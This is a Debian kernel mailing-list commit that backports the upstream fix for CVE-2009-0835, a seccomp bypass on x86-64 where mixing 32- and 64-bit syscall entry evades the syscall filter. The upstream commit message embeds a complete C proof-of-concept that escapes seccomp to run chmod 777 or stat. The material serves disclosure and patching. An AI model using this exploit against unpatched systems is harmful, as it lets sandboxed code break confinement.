[kernel] r13330 - in dists/lenny-security/linux-2.6/debian: . patches/bugfix/all patches/series
Dann Frazier
dannf at alioth.debian.org
Sat Apr 4 21:08:06 UTC 2009
Author: dannf
Date: Sat Apr 4 21:08:04 2009
New Revision: 13330
Log:
seccomp: fix 32/64 syscall hole (CVE-2009-0835)
Added:
dists/lenny-security/linux-2.6/debian/patches/bugfix/all/seccomp-fix-32+64-syscall-hole.patch
Modified:
dists/lenny-security/linux-2.6/debian/changelog
dists/lenny-security/linux-2.6/debian/patches/series/15lenny1
Modified: dists/lenny-security/linux-2.6/debian/changelog
==============================================================================
--- dists/lenny-security/linux-2.6/debian/changelog (original)
+++ dists/lenny-security/linux-2.6/debian/changelog Sat Apr 4 21:08:04 2009
@@ -5,6 +5,7 @@
* ecryptfs: Allocate a variable number of pages for file headers
(CVE-2009-0787)
* [amd64] syscall-audit: fix 32/64 syscall hole
+ * seccomp: fix 32/64 syscall hole (CVE-2009-0835)
-- dann frazier <dannf at debian.org> Fri, 03 Apr 2009 19:12:51 -0600
Added: dists/lenny-security/linux-2.6/debian/patches/bugfix/all/seccomp-fix-32+64-syscall-hole.patch
==============================================================================
--- (empty file)
+++ dists/lenny-security/linux-2.6/debian/patches/bugfix/all/seccomp-fix-32+64-syscall-hole.patch Sat Apr 4 21:08:04 2009
@@ -0,0 +1,214 @@
+commit 5b1017404aea6d2e552e991b3fd814d839e9cd67
+Author: Roland McGrath <roland at redhat.com>
+Date: Fri Feb 27 23:25:54 2009 -0800
+
+ x86-64: seccomp: fix 32/64 syscall hole
+
+ On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
+ ljmp, and then use the "syscall" instruction to make a 64-bit system
+ call. A 64-bit process make a 32-bit system call with int $0x80.
+
+ In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
+ the wrong system call number table. The fix is simple: test TS_COMPAT
+ instead of TIF_IA32. Here is an example exploit:
+
+ /* test case for seccomp circumvention on x86-64
+
+ There are two failure modes: compile with -m64 or compile with -m32.
+
+ The -m64 case is the worst one, because it does "chmod 777 ." (could
+ be any chmod call). The -m32 case demonstrates it was able to do
+ stat(), which can glean information but not harm anything directly.
+
+ A buggy kernel will let the test do something, print, and exit 1; a
+ fixed kernel will make it exit with SIGKILL before it does anything.
+ */
+
+ #define _GNU_SOURCE
+ #include <assert.h>
+ #include <inttypes.h>
+ #include <stdio.h>
+ #include <linux/prctl.h>
+ #include <sys/stat.h>
+ #include <unistd.h>
+ #include <asm/unistd.h>
+
+ int
+ main (int argc, char **argv)
+ {
+ char buf[100];
+ static const char dot[] = ".";
+ long ret;
+ unsigned st[24];
+
+ if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
+ perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
+
+ #ifdef __x86_64__
+ assert ((uintptr_t) dot < (1UL << 32));
+ asm ("int $0x80 # %0 <- %1(%2 %3)"
+ : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
+ ret = snprintf (buf, sizeof buf,
+ "result %ld (check mode on .!)\n", ret);
+ #elif defined __i386__
+ asm (".code32\n"
+ "pushl %%cs\n"
+ "pushl $2f\n"
+ "ljmpl $0x33, $1f\n"
+ ".code64\n"
+ "1: syscall # %0 <- %1(%2 %3)\n"
+ "lretl\n"
+ ".code32\n"
+ "2:"
+ : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
+ if (ret == 0)
+ ret = snprintf (buf, sizeof buf,
+ "stat . -> st_uid=%u\n", st[7]);
+ else
+ ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
+ #else
+ # error "not this one"
+ #endif
+
+ write (1, buf, ret);
+
+ syscall (__NR_exit, 1);
+ return 2;
+ }
+
+ Signed-off-by: Roland McGrath <roland at redhat.com>
+ [ I don't know if anybody actually uses seccomp, but it's enabled in
+ at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
+ Signed-off-by: Linus Torvalds <torvalds at linux-foundation.org>
+
+Backported to Debian's 2.6.26 by dann frazier <dannf at debian.org>
+
+diff -urpN linux-source-2.6.26.orig/include/asm-mips/seccomp.h linux-source-2.6.26/include/asm-mips/seccomp.h
+--- linux-source-2.6.26.orig/include/asm-mips/seccomp.h 2008-07-13 15:51:29.000000000 -0600
++++ linux-source-2.6.26/include/asm-mips/seccomp.h 2009-04-04 11:43:34.000000000 -0600
+@@ -1,6 +1,5 @@
+ #ifndef __ASM_SECCOMP_H
+
+-#include <linux/thread_info.h>
+ #include <linux/unistd.h>
+
+ #define __NR_seccomp_read __NR_read
+diff -urpN linux-source-2.6.26.orig/include/asm-powerpc/compat.h linux-source-2.6.26/include/asm-powerpc/compat.h
+--- linux-source-2.6.26.orig/include/asm-powerpc/compat.h 2008-07-13 15:51:29.000000000 -0600
++++ linux-source-2.6.26/include/asm-powerpc/compat.h 2009-04-04 11:43:34.000000000 -0600
+@@ -210,5 +210,10 @@ struct compat_shmid64_ds {
+ compat_ulong_t __unused6;
+ };
+
++static inline int is_compat_task(void)
++{
++ return test_thread_flag(TIF_32BIT);
++}
++
+ #endif /* __KERNEL__ */
+ #endif /* _ASM_POWERPC_COMPAT_H */
+diff -urpN linux-source-2.6.26.orig/include/asm-powerpc/seccomp.h linux-source-2.6.26/include/asm-powerpc/seccomp.h
+--- linux-source-2.6.26.orig/include/asm-powerpc/seccomp.h 2008-07-13 15:51:29.000000000 -0600
++++ linux-source-2.6.26/include/asm-powerpc/seccomp.h 2009-04-04 11:43:33.000000000 -0600
+@@ -1,10 +1,6 @@
+ #ifndef _ASM_POWERPC_SECCOMP_H
+ #define _ASM_POWERPC_SECCOMP_H
+
+-#ifdef __KERNEL__
+-#include <linux/thread_info.h>
+-#endif
+-
+ #include <linux/unistd.h>
+
+ #define __NR_seccomp_read __NR_read
+diff -urpN linux-source-2.6.26.orig/include/asm-sparc64/compat.h linux-source-2.6.26/include/asm-sparc64/compat.h
+--- linux-source-2.6.26.orig/include/asm-sparc64/compat.h 2008-07-13 15:51:29.000000000 -0600
++++ linux-source-2.6.26/include/asm-sparc64/compat.h 2009-04-04 11:43:32.000000000 -0600
+@@ -240,4 +240,9 @@ struct compat_shmid64_ds {
+ unsigned int __unused2;
+ };
+
++static inline int is_compat_task(void)
++{
++ return test_thread_flag(TIF_32BIT);
++}
++
+ #endif /* _ASM_SPARC64_COMPAT_H */
+diff -urpN linux-source-2.6.26.orig/include/asm-sparc64/seccomp.h linux-source-2.6.26/include/asm-sparc64/seccomp.h
+--- linux-source-2.6.26.orig/include/asm-sparc64/seccomp.h 2008-07-13 15:51:29.000000000 -0600
++++ linux-source-2.6.26/include/asm-sparc64/seccomp.h 2009-04-04 11:42:11.000000000 -0600
+@@ -1,11 +1,5 @@
+ #ifndef _ASM_SECCOMP_H
+
+-#include <linux/thread_info.h> /* already defines TIF_32BIT */
+-
+-#ifndef TIF_32BIT
+-#error "unexpected TIF_32BIT on sparc64"
+-#endif
+-
+ #include <linux/unistd.h>
+
+ #define __NR_seccomp_read __NR_read
+diff -urpN linux-source-2.6.26.orig/include/asm-x86/seccomp_32.h linux-source-2.6.26/include/asm-x86/seccomp_32.h
+--- linux-source-2.6.26.orig/include/asm-x86/seccomp_32.h 2008-07-13 15:51:29.000000000 -0600
++++ linux-source-2.6.26/include/asm-x86/seccomp_32.h 2009-04-04 11:42:29.000000000 -0600
+@@ -1,11 +1,5 @@
+ #ifndef _ASM_SECCOMP_H
+
+-#include <linux/thread_info.h>
+-
+-#ifdef TIF_32BIT
+-#error "unexpected TIF_32BIT on i386"
+-#endif
+-
+ #include <linux/unistd.h>
+
+ #define __NR_seccomp_read __NR_read
+diff -urpN linux-source-2.6.26.orig/include/asm-x86/seccomp_64.h linux-source-2.6.26/include/asm-x86/seccomp_64.h
+--- linux-source-2.6.26.orig/include/asm-x86/seccomp_64.h 2008-07-13 15:51:29.000000000 -0600
++++ linux-source-2.6.26/include/asm-x86/seccomp_64.h 2009-04-04 11:42:47.000000000 -0600
+@@ -1,13 +1,5 @@
+ #ifndef _ASM_SECCOMP_H
+
+-#include <linux/thread_info.h>
+-
+-#ifdef TIF_32BIT
+-#error "unexpected TIF_32BIT on x86_64"
+-#else
+-#define TIF_32BIT TIF_IA32
+-#endif
+-
+ #include <linux/unistd.h>
+ #include <asm/ia32_unistd.h>
+
+diff -urpN linux-source-2.6.26.orig/kernel/seccomp.c linux-source-2.6.26/kernel/seccomp.c
+--- linux-source-2.6.26.orig/kernel/seccomp.c 2008-07-13 15:51:29.000000000 -0600
++++ linux-source-2.6.26/kernel/seccomp.c 2009-04-04 11:43:28.000000000 -0600
+@@ -8,6 +8,7 @@
+
+ #include <linux/seccomp.h>
+ #include <linux/sched.h>
++#include <linux/compat.h>
+
+ /* #define SECCOMP_DEBUG 1 */
+ #define NR_SECCOMP_MODES 1
+@@ -22,7 +23,7 @@ static int mode1_syscalls[] = {
+ 0, /* null terminated */
+ };
+
+-#ifdef TIF_32BIT
++#ifdef CONFIG_COMPAT
+ static int mode1_syscalls_32[] = {
+ __NR_seccomp_read_32, __NR_seccomp_write_32, __NR_seccomp_exit_32, __NR_seccomp_sigreturn_32,
+ 0, /* null terminated */
+@@ -37,8 +38,8 @@ void __secure_computing(int this_syscall
+ switch (mode) {
+ case 1:
+ syscall = mode1_syscalls;
+-#ifdef TIF_32BIT
+- if (test_thread_flag(TIF_32BIT))
++#ifdef CONFIG_COMPAT
++ if (is_compat_task())
+ syscall = mode1_syscalls_32;
+ #endif
+ do {
Modified: dists/lenny-security/linux-2.6/debian/patches/series/15lenny1
==============================================================================
--- dists/lenny-security/linux-2.6/debian/patches/series/15lenny1 (original)
+++ dists/lenny-security/linux-2.6/debian/patches/series/15lenny1 Sat Apr 4 21:08:04 2009
@@ -2,3 +2,4 @@
+ bugfix/all/ecryptfs-fix-mem-corruption-when-storing-crypto-info-in-xattrs.patch
+ bugfix/all/ecryptfs-allocate-a-variable-number-of-pages-for-file-headers.patch
+ bugfix/x86/syscall-audit-fix-32+64-syscall-hole.patch
++ bugfix/all/seccomp-fix-32+64-syscall-hole.patch
More information about the Kernel-svn-changes
mailing list